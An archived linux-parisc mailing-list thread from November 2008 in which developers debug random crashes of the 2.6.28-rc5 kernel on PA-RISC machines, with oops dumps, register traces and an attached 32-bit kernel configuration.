> > parisc64 SMP? have you all the cpu online?
> 
> Yes, all four (two sockets, two cores).

I haven't tried 2.6.28-rc5 but I have tried Kyle's last parisc tree.
While it boots on SMP PA8800 (Mako), it can't do a full GCC build
without a SEGV or some kind of file system issue.  There's an
occasional unexpected SEGV with 2.6.22.19, but otherwise it is stable.
It can successfully build GCC at -j4 most of the time.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 16:47:05 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <492434F9.4070201@gmx.de>
References: <49231FD0.9040409@gmx.de> <7d01f9f00811181733q268a7221m256f4845494253b7@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227109660 32312 80.91.229.12 (19 Nov 2008 15:47:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 15:47:40 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 16:48:41 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2pHy-00058B-0A
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 16:48:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752566AbYKSPrL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 10:47:11 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752645AbYKSPrL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 10:47:11 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:39132 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752566AbYKSPrK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 10:47:10 -0500
Original-Received: (qmail invoked by alias); 19 Nov 2008 15:47:08 -0000
Original-Received: from mnhm-590e0d9f.pool.einsundeins.de (EHLO halden.box) [89.14.13.159]
  by mail.gmx.net (mp004) with SMTP; 19 Nov 2008 16:47:08 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+SN3w3C66S08H8iLoc9QFF47bfKf5rtotR6ji4eo
	bDqUzIvyaGOydd
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <7d01f9f00811181733q268a7221m256f4845494253b7@mail.gmail.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.5600000000000001
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:844
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/844>

Thibaut VARENE wrote:
> On Tue, Nov 18, 2008 at 9:04 PM, Helge Deller <deller@gmx.de> wrote:
> 
>> Here ist just one of the latest crashes (c3k, UP, CONFIG_SMP not set,
>> 2.6.28-rc5):
>> .....
>> SuperIO: ACPI at 0x7e0
>> SuperIO: USB regulator enabled
>> PDC Stable Storage facility v0.30
>> Backtrace:
>>  [<1018b6a4>] __kmalloc+0xa4/0xec
>>  [<101718f4>] kstrdup+0x38/0x6c
>>  [<101d9090>] sysfs_new_dirent+0x54/0xf4
>>  [<101da0dc>] sysfs_do_create_link+0xcc/0x19c
>>  [<106cd644>] pdc_stable_init+0x1cc/0x2b4
> 
> Wild guess since my baby's into this mess: somebody fucked
> up^W^Wmodified some code in sysfs and didn't care enough about the
> consequences.

I'm not sure it's sysfs either.
This crash happens in sysfs, but other in memory, locking, ...
It's just random where and when it crashes.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 17:25:21 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <49243DF1.2010206@gmx.de>
References: <49231FD0.9040409@gmx.de> <1227061902.10371.11.camel@localhost.localdomain> <20081119091327.GB3270@tilt.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1227111960 9123 80.91.229.12 (19 Nov 2008 16:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 16:26:00 +0000 (UTC)
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 17:26:59 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2psx-00054W-Qw
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 17:26:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752145AbYKSQZZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 11:25:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752159AbYKSQZY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 11:25:24 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:50098 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1752145AbYKSQZY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 11:25:24 -0500
Original-Received: (qmail invoked by alias); 19 Nov 2008 16:25:21 -0000
Original-Received: from mnhm-590e0d9f.pool.einsundeins.de (EHLO halden.box) [89.14.13.159]
  by mail.gmx.net (mp012) with SMTP; 19 Nov 2008 17:25:21 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/N+TULRO/NuZlRV1/qDWsu5UVPtLzBBFVMSjhD91
	pdqlArrp8MENn8
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20081119091327.GB3270@tilt.dandreoli.com>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:845
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/845>

James Bottomley wrote:
>> Why don't we compare configs?  This is mine for ion:
>> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion

 > Domenico Andreoli wrote:
> https://mnl.crema.unimi.it/~cavok/config-2.6.28-rc5

Helge:
and here is mine (32bit(!), usually works on C3000, B160L, 715/64 and 
Tadpole PARISC laptop - similiar to B160L):
http://gsyprf10.external.hp.com/~deller/config.2.6.28-rc5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 2.6.28-rcX in pretty bad shape on parisc
Date: Wed, 19 Nov 2008 19:13:01 +0100
Lines: 2031
Approved: news@gmane.org
Message-ID: <4924572D.7060905@gmx.de>
References: <49231FD0.9040409@gmx.de> <1227061902.10371.11.camel@localhost.localdomain> <20081119091327.GB3270@tilt.dandreoli.com> <49243DF1.2010206@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090207000403060701000102"
X-Trace: ger.gmane.org 1227118411 2474 80.91.229.12 (19 Nov 2008 18:13:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Nov 2008 18:13:31 +0000 (UTC)
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 19 19:14:31 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1L2rZO-00036w-0A
	for glpp-linux-parisc@gmane.org; Wed, 19 Nov 2008 19:14:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753044AbYKSSNP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Nov 2008 13:13:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754137AbYKSSNO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 19 Nov 2008 13:13:14 -0500
Original-Received: from mail.gmx.net ([213.165.64.20]:51063 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753928AbYKSSNH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Nov 2008 13:13:07 -0500
Original-Received: (qmail invoked by alias); 19 Nov 2008 18:13:03 -0000
Original-Received: from mnhm-590e0d9f.pool.einsundeins.de (EHLO halden.box) [89.14.13.159]
  by mail.gmx.net (mp004) with SMTP; 19 Nov 2008 19:13:03 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+v0zdGGlCvH/4Bpz2OcVsGoBZm/5DDhNxAjI9ZqK
	Js3EmRD4H5vlw9
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <49243DF1.2010206@gmx.de>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.48,0.59
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:846
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/846>

This is a multi-part message in MIME format.
--------------090207000403060701000102
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Helge Deller wrote:
> James Bottomley wrote:
>>> Why don't we compare configs?  This is mine for ion:
>>> http://parisc-linux.org/~jejb/config-2.6.28-rc5-ion
> 
>  > Domenico Andreoli wrote:
>> https://mnl.crema.unimi.it/~cavok/config-2.6.28-rc5
> 
> Helge:
> and here is mine (32bit(!), usually works on C3000, B160L, 715/64 and 
> Tadpole PARISC laptop - similiar to B160L):
> http://gsyprf10.external.hp.com/~deller/config.2.6.28-rc5

James,
I tried your config on my c3k.
Only modifications I did are to enable built-in network and scsi, so 
that I'm able to tftpboot into the new kernel.
.config and config-diff-file are attached.

Here is what I got:
Freeing unused kernel memory:
Badness at kernel/smp.c:333...(well known)...
220k freed
eth0: Setting full-duplex based on MII#1 link partner capability of 45e1.
Backtrace:
  [<000000004023c274>] proc_flush_task+0x4/0x3d8

Bad Address (null pointer deref?): Code=6 regs=00000000bf83cb58 
(Addr=0000045000000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000011100001111 Tainted: G        W
r00-03  000000000804070f 0000000040492000 0000000040253bef 0000000000000000
r04-07  0000000040003000 0000000040670964 0000000000002168 000000000000085a
r08-11  000000004029d2dc 000000004029dac0 00000000402a060c 00000000400011a0
r12-15  0000000040000f00 00000000000000f0 00000000fb2cfa4c 000000004029db68
r16-19  000000004029d1ec 000000004029d66a 00000000406a008c 000000004025e6e0
r20-23  0000000000000000 0000045000000000 00000000ffffffff 0000000000000012
r24-27  0000000040003000 0000000000000000 0000000040001110 0000000000000002
r28-31  0000000040492000 0000000040001110 00000000fb2cfe40 0000000040253c27
sr00-03  0000000000000800 0000000000000800 0000000000000000 0000000000000800
sr04-07  0000000000000800 0000000000000800 0000000000000800 0000000000000800

IASQ: 0000000000000450 0000000000000450 IAOQ: 0000045000000000 
0000045000000004
  IIR: 43ffff80    ISR: 0000000000000800  IOR: 0000000040673375
  CPU:        0   CR30: 00000000bf854000 CR31: 0000000011111111
  ORIG_R28: fffffffffffff000
  IAOQ[0]: 0x45000000000
  IAOQ[1]: 0x45000000004
  RP(r2): ext3_free_data+0x194/0x1b8
Backtrace: 
                                        [<000000004023c274>] 
proc_flush_task+0x4/0x3d8

Kernel panic - not syncing: Bad Address (null pointer deref?)

----

Another boot showed:
Bad Address (null pointer deref?): Code=6 regs=00000000bf83cb58 
(Addr=0000045000000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000011100001111 Tainted: G        W
r00-03  000000000804070f 0000000040490000 0000000040253bef 0000000000000000
r04-07  0000000040003000 0000000040670964 0000000000002168 000000000000085a
r08-11  000000004029d2dc 000000004029dac0 00000000402a060c 00000000400011a0
r12-15  0000000040000f00 00000000000000f0 00000000fb3e2a4c 000000004029db68
r16-19  000000004029d1ec 000000004029d66a 00000000406a008c 000000004025e6e0
r20-23  0000000000000000 0000045000000000 00000000ffffffff 0000000000000012
r24-27  0000000040003000 0000000000000000 0000000040001110 0000000000000002
r28-31  0000000040490000 0000000040001110 00000000fb3e2e40 0000000040253c27
sr00-03  0000000000000800 0000000000000800 0000000000000000 0000000000000800
sr04-07  0000000000000800 0000000000000800 0000000000000800 0000000000000800

IASQ: 0000000000000450 0000000000000450 IAOQ: 0000045000000000 
0000045000000004
  IIR: 43ffff80    ISR: 0000000000000800  IOR: 0000000040673375
  CPU:        0   CR30: 00000000bf854000 CR31: 00000000da1345e2
  ORIG_R28: fffffffffffff000
  IAOQ[0]: 0x45000000000
  IAOQ[1]: 0x45000000004
  RP(r2): ext3_direct_IO+0x224/0x298
Backtrace:
  [<000000004023c274>] proc_flush_task+0x4/0x3d8

---

After that I turned off fastboot on my c3k and let PDC check the memory.
PDC reported no problems. All 2GB are OK.

Helge

--------------090207000403060701000102
Content-Type: text/plain;
 name="config.2.6.28-rc5"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="config.2.6.28-rc5"

#
# Automatically generated make config: don't edit
# Linux kernel version: 2.6.28-rc5
# Tue Nov 18 16:34:18 2008
#
CONFIG_PARISC=y
CONFIG_MMU=y
CONFIG_STACK_GROWSUP=y
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_ARCH_HAS_ILOG2_U32 is not set
# CONFIG_ARCH_HAS_ILOG2_U64 is not set
CONFIG_GENERIC_FIND_NEXT_BIT=y
CONFIG_GENERIC_BUG=y
CONFIG_GENERIC_HWEIGHT=y
CONFIG_GENERIC_CALIBRATE_DELAY=y
CONFIG_GENERIC_TIME=y
CONFIG_GENERIC_HARDIRQS=y
CONFIG_GENERIC_IRQ_PROBE=y
CONFIG_IRQ_PER_CPU=y
CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config"

#
# General setup
#
CONFIG_EXPERIMENTAL=y
CONFIG_BROKEN_ON_SMP=y
CONFIG_INIT_ENV_ARG_LIMIT=32
CONFIG_LOCALVERSION=""
# CONFIG_LOCALVERSION_AUTO is not set
CONFIG_SWAP=y
CONFIG_SYSVIPC=y
CONFIG_SYSVIPC_SYSCTL=y
CONFIG_POSIX_MQUEUE=y
CONFIG_BSD_PROCESS_ACCT=y
# CONFIG_BSD_PROCESS_ACCT_V3 is not set
# CONFIG_TASKSTATS is not set
# CONFIG_AUDIT is not set
CONFIG_IKCONFIG=y
CONFIG_IKCONFIG_PROC=y
CONFIG_LOG_BUF_SHIFT=16
# CONFIG_CGROUPS is not set
# CONFIG_GROUP_SCHED is not set
CONFIG_SYSFS_DEPRECATED=y
CONFIG_SYSFS_DEPRECATED_V2=y
# CONFIG_RELAY is not set
CONFIG_NAMESPACES=y
# CONFIG_UTS_NS is not set
# CONFIG_IPC_NS is not set
# CONFIG_USER_NS is not set
# CONFIG_PID_NS is not set
CONFIG_BLK_DEV_INITRD=y
CONFIG_INITRAMFS_SOURCE=""
CONFIG_CC_OPTIMIZE_FOR_SIZE=y
CONFIG_SYSCTL=y
# CONFIG_EMBEDDED is not set
CONFIG_SYSCTL_SYSCALL=y
CONFIG_KALLSYMS=y
CONFIG_KALLSYMS_ALL=y
# CONFIG_KALLSYMS_EXTRA_PASS is not set
CONFIG_HOTPLUG=y
CONFIG_PRINTK=y
CONFIG_BUG=y
CONFIG_ELF_CORE=y
CONFIG_COMPAT_BRK=y
CONFIG_BASE_FULL=y
CONFIG_FUTEX=y
CONFIG_ANON_INODES=y
CONFIG_EPOLL=y
CONFIG_SIGNALFD=y
CONFIG_TIMERFD=y
CONFIG_EVENTFD=y
CONFIG_SHMEM=y
CONFIG_AIO=y
CONFIG_VM_EVENT_COUNTERS=y
CONFIG_PCI_QUIRKS=y
CONFIG_SLAB=y
# CONFIG_SLUB is not set
# CONFIG_SLOB is not set
CONFIG_PROFILING=y
# CONFIG_MARKERS is not set
CONFIG_OPROFILE=m
CONFIG_HAVE_OPROFILE=y
# CONFIG_HAVE_GENERIC_DMA_COHERENT is not set
CONFIG_SLABINFO=y
CONFIG_RT_MUTEXES=y
# CONFIG_TINY_SHMEM is not set
CONFIG_BASE_SMALL=0
CONFIG_MODULES=y
# CONFIG_MODULE_FORCE_LOAD is not set
CONFIG_MODULE_UNLOAD=y
CONFIG_MODULE_FORCE_UNLOAD=y
# CONFIG_MODVERSIONS is not set
# CONFIG_MODULE_SRCVERSION_ALL is not set
CONFIG_KMOD=y
CONFIG_BLOCK=y
# CONFIG_LBD is not set
# CONFIG_BLK_DEV_IO_TRACE is not set
# CONFIG_LSF is not set
# CONFIG_BLK_DEV_BSG is not set
# CONFIG_BLK_DEV_INTEGRITY is not set

#
# IO Schedulers
#
CONFIG_IOSCHED_NOOP=y
CONFIG_IOSCHED_AS=y
CONFIG_IOSCHED_DEADLINE=y
CONFIG_IOSCHED_CFQ=y
CONFIG_DEFAULT_AS=y
# CONFIG_DEFAULT_DEADLINE is not set
# CONFIG_DEFAULT_CFQ is not set
# CONFIG_DEFAULT_NOOP is not set
CONFIG_DEFAULT_IOSCHED="anticipatory"
CONFIG_CLASSIC_RCU=y
# CONFIG_FREEZER is not set

#
# Processor type and features
#
# CONFIG_PA7000 is not set
CONFIG_PA7100LC=y
# CONFIG_PA7200 is not set
# CONFIG_PA7300LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y
CONFIG_PARISC_PAGE_SIZE_4KB=y
# CONFIG_PARISC_PAGE_SIZE_16KB is not set
# CONFIG_PARISC_PAGE_SIZE_64KB is not set
# CONFIG_SMP is not set
CONFIG_ARCH_FLATMEM_ENABLE=y
# CONFIG_PREEMPT_NONE is not set
CONFIG_PREEMPT_VOLUNTARY=y
# CONFIG_PREEMPT is not set
CONFIG_HZ_100=y
# CONFIG_HZ_250 is not set
# CONFIG_HZ_300 is not set
# CONFIG_HZ_1000 is not set
CONFIG_HZ=100
# CONFIG_SCHED_HRTICK is not set
CONFIG_SELECT_MEMORY_MODEL=y
CONFIG_FLATMEM_MANUAL=y
# CONFIG_DISCONTIGMEM_MANUAL is not set
# CONFIG_SPARSEMEM_MANUAL is not set
CONFIG_FLATMEM=y
CONFIG_FLAT_NODE_MEM_MAP=y
CONFIG_PAGEFLAGS_EXTENDED=y
CONFIG_SPLIT_PTLOCK_CPUS=4096
# CONFIG_RESOURCES_64BIT is not set
# CONFIG_PHYS_ADDR_T_64BIT is not set
CONFIG_ZONE_DMA_FLAG=0
CONFIG_VIRT_TO_BUS=y
CONFIG_UNEVICTABLE_LRU=y
CONFIG_HPUX=y

#
# Bus options (PCI, PCMCIA, EISA, GSC, ISA)
#
CONFIG_GSC=y
# CONFIG_HPPB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_EISA_NAMES=y
# CONFIG_ISA is not set
CONFIG_PCI=y
# CONFIG_ARCH_SUPPORTS_MSI is not set
# CONFIG_PCI_LEGACY is not set
# CONFIG_PCI_DEBUG is not set
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_IOMMU_HELPER=y
CONFIG_PCCARD=y
# CONFIG_PCMCIA_DEBUG is not set
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_PCMCIA_IOCTL=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
CONFIG_PD6729=y
CONFIG_I82092=y
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_HOTPLUG_PCI is not set

#
# PA-RISC specific drivers
#
CONFIG_SUPERIO=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_PDC_CHASSIS is not set
# CONFIG_PDC_CHASSIS_WARN is not set
CONFIG_PDC_STABLE=y

#
# Executable file formats
#
CONFIG_BINFMT_ELF=y
# CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set
# CONFIG_HAVE_AOUT is not set
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_MISC=m
CONFIG_NET=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_UNIX=y
CONFIG_XFRM=y
CONFIG_XFRM_USER=m
# CONFIG_XFRM_SUB_POLICY is not set
# CONFIG_XFRM_MIGRATE is not set
# CONFIG_XFRM_STATISTICS is not set
CONFIG_NET_KEY=m
# CONFIG_NET_KEY_MIGRATE is not set
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
# CONFIG_IP_ADVANCED_ROUTER is not set
CONFIG_IP_FIB_HASH=y
CONFIG_IP_PNP=y
CONFIG_IP_PNP_DHCP=y
CONFIG_IP_PNP_BOOTP=y
# CONFIG_IP_PNP_RARP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_IP_MROUTE is not set
# CONFIG_ARPD is not set
# CONFIG_SYN_COOKIES is not set
CONFIG_INET_AH=m
CONFIG_INET_ESP=m
# CONFIG_INET_IPCOMP is not set
# CONFIG_INET_XFRM_TUNNEL is not set
# CONFIG_INET_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_TRANSPORT is not set
# CONFIG_INET_XFRM_MODE_TUNNEL is not set
# CONFIG_INET_XFRM_MODE_BEET is not set
# CONFIG_INET_LRO is not set
CONFIG_INET_DIAG=m
CONFIG_INET_TCP_DIAG=m
# CONFIG_TCP_CONG_ADVANCED is not set
CONFIG_TCP_CONG_CUBIC=y
CONFIG_DEFAULT_TCP_CONG="cubic"
# CONFIG_TCP_MD5SIG is not set
# CONFIG_IPV6 is not set
# CONFIG_NETWORK_SECMARK is not set
# CONFIG_NETFILTER is not set
# CONFIG_IP_DCCP is not set
# CONFIG_IP_SCTP is not set
# CONFIG_TIPC is not set
# CONFIG_ATM is not set
# CONFIG_BRIDGE is not set
# CONFIG_NET_DSA is not set
# CONFIG_VLAN_8021Q is not set
# CONFIG_DECNET is not set
CONFIG_LLC=m
CONFIG_LLC2=m
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_SCHED is not set

#
# Network testing
#
# CONFIG_NET_PKTGEN is not set
# CONFIG_HAMRADIO is not set
# CONFIG_CAN is not set
# CONFIG_IRDA is not set
# CONFIG_BT is not set
# CONFIG_AF_RXRPC is not set
# CONFIG_PHONET is not set
# CONFIG_WIRELESS is not set
CONFIG_WIRELESS_EXT=y
CONFIG_IEEE80211=m
CONFIG_IEEE80211_CRYPT_WEP=m
# CONFIG_RFKILL is not set
# CONFIG_NET_9P is not set

#
# Device Drivers
#

#
# Generic Driver Options
#
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
# CONFIG_STANDALONE is not set
# CONFIG_PREVENT_FIRMWARE_BUILD is not set
CONFIG_FW_LOADER=y
CONFIG_FIRMWARE_IN_KERNEL=y
CONFIG_EXTRA_FIRMWARE=""
# CONFIG_DEBUG_DRIVER is not set
# CONFIG_DEBUG_DEVRES is not set
# CONFIG_SYS_HYPERVISOR is not set
# CONFIG_CONNECTOR is not set
# CONFIG_MTD is not set
CONFIG_PARPORT=y
CONFIG_PARPORT_PC=m
# CONFIG_PARPORT_SERIAL is not set
# CONFIG_PARPORT_PC_FIFO is not set
# CONFIG_PARPORT_PC_SUPERIO is not set
CONFIG_PARPORT_PC_PCMCIA=m
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_AX88796 is not set
CONFIG_PARPORT_1284=y
CONFIG_PARPORT_NOT_PC=y
CONFIG_BLK_DEV=y
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_UMEM is not set
# CONFIG_BLK_DEV_COW_COMMON is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_CRYPTOLOOP=y
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_SX8 is not set
# CONFIG_BLK_DEV_UB is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=6144
# CONFIG_BLK_DEV_XIP is not set
# CONFIG_CDROM_PKTCDVD is not set
# CONFIG_ATA_OVER_ETH is not set
# CONFIG_BLK_DEV_HD is not set
CONFIG_MISC_DEVICES=y
# CONFIG_PHANTOM is not set
# CONFIG_EEPROM_93CX6 is not set
# CONFIG_SGI_IOC4 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_C2PORT is not set
CONFIG_HAVE_IDE=y
CONFIG_IDE=y

#
# Please see Documentation/ide/ide.txt for help/info on IDE drives
#
CONFIG_IDE_ATAPI=y
# CONFIG_BLK_DEV_IDE_SATA is not set
CONFIG_IDE_GD=y
CONFIG_IDE_GD_ATA=y
# CONFIG_IDE_GD_ATAPI is not set
CONFIG_BLK_DEV_IDECS=y
# CONFIG_BLK_DEV_DELKIN is not set
CONFIG_BLK_DEV_IDECD=y
CONFIG_BLK_DEV_IDECD_VERBOSE_ERRORS=y
# CONFIG_BLK_DEV_IDETAPE is not set
CONFIG_BLK_DEV_IDESCSI=y
# CONFIG_IDE_TASK_IOCTL is not set
CONFIG_IDE_PROC_FS=y

#
# IDE chipset support/bugfixes
#
# CONFIG_BLK_DEV_PLATFORM is not set
CONFIG_BLK_DEV_IDEDMA_SFF=y

#
# PCI IDE chipsets support
#
CONFIG_BLK_DEV_IDEPCI=y
CONFIG_IDEPCI_PCIBUS_ORDER=y
# CONFIG_BLK_DEV_OFFBOARD is not set
CONFIG_BLK_DEV_GENERIC=y
# CONFIG_BLK_DEV_OPTI621 is not set
CONFIG_BLK_DEV_IDEDMA_PCI=y
# CONFIG_BLK_DEV_AEC62XX is not set
# CONFIG_BLK_DEV_ALI15X3 is not set
# CONFIG_BLK_DEV_AMD74XX is not set
# CONFIG_BLK_DEV_CMD64X is not set
# CONFIG_BLK_DEV_TRIFLEX is not set
# CONFIG_BLK_DEV_CS5520 is not set
# CONFIG_BLK_DEV_CS5530 is not set
# CONFIG_BLK_DEV_HPT366 is not set
# CONFIG_BLK_DEV_JMICRON is not set
# CONFIG_BLK_DEV_SC1200 is not set
# CONFIG_BLK_DEV_PIIX is not set
# CONFIG_BLK_DEV_IT8213 is not set
# CONFIG_BLK_DEV_IT821X is not set
CONFIG_BLK_DEV_NS87415=y
# CONFIG_BLK_DEV_PDC202XX_OLD is not set
# CONFIG_BLK_DEV_PDC202XX_NEW is not set
# CONFIG_BLK_DEV_SVWKS is not set
# CONFIG_BLK_DEV_SIIMAGE is not set
# CONFIG_BLK_DEV_SLC90E66 is not set
